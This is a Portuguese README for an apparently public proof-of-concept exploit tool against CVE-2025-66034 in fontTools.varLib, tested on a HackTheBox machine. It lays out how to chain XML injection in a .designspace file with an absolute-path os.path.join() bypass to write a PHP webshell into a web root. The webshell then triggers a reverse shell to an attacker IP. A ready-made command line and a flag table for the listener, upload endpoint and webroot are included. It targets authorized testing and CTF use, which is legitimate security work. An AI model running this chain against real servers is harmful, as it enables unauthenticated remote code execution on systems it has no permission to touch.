
CVE-2025-66034 - fontTools varLib Escrita Arbitrária de Arquivo → RCE Exploit PoC para uma vulnerabilidade de Escrita Arbitrária de Arquivo + XML Injection no fontTools.varLib.
PoC exploit para uma vulnerabilidade de Escrita Arbitrária de Arquivos + Injeção XML em
fontTools.varLibTestado no HackTheBox — VarIaType
fontTools.varLib processa arquivos XML .designspace para construir fontes variáveis. Duas fraquezas se combinam para alcançar RCE sem autenticação:
| # | Primitiva | Detalhe |
|---|---|---|
| 1 | Injeção XML via divisão de CDATA | O conteúdo controlado pelo atacante dentro de <labelname> é escrito literalmente no corpo do arquivo de fonte de saída, permitindo a injeção de dados arbitrários |
| 2 | Escrita Arbitrária de Arquivos via bypass de os.path.join() | O atributo filename de <variable-font> aceita um caminho absoluto. Quando passado para os.path.join(), ele descarta o diretório de saída pretendido e grava em qualquer caminho do sistema de arquivos especificado pelo atacante |
Encadear ambas as primitivas permite escrever um webshell PHP em um caminho acessível pela web, alcançando Execução Remota de Código sem autenticação.
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
.ttf mínimos (source-light.ttf, source-regular.ttf) são gerados usando fontTools.FontBuilder como mestres necessários para o designspace.designspace malicioso — Um arquivo XML criado é construído com:
<labelname>filename de <variable-font>, ignorando output_dir via os.path.join().designspace + fontes mestre são enviados via POST para o endpoint de processamento.php plantado é solicitado, executando o payload do reverse shell| Campo | |
|---|---|
| CVE | CVE-2025-66034 |
| Componente afetado | fontTools.varLib |
| Impacto | Escrita Arbitrária de Arquivos não autenticada → Execução Remota de Código |
| Contexto | Aplicação web expondo endpoint de processamento de fontes |
Esta ferramenta é destinada apenas para testes de penetração autorizados e uso em CTF. Não execute contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar.
por 4nuxd
| Flag | Descrição |
|---|
--ip | Endereço IP do atacante para o callback do reverse shell |
--port | Porta do listener |
--upload | URL completa do endpoint de processamento de fontes (POST) |
--webroot | Caminho absoluto no servidor que mapeia para um diretório acessível pela web |
--shell | URL base sob a qual o webshell será acessível |
--no-listen | Pular auto-listener — exibir comandos manuais |
--pwncat | Usar pwncat-cs em vez de nc (preferível se disponível) |
python3 -c 'import pty; pty.spawn("/bin/bash")' e define TERM + stty para um shell totalmente interativo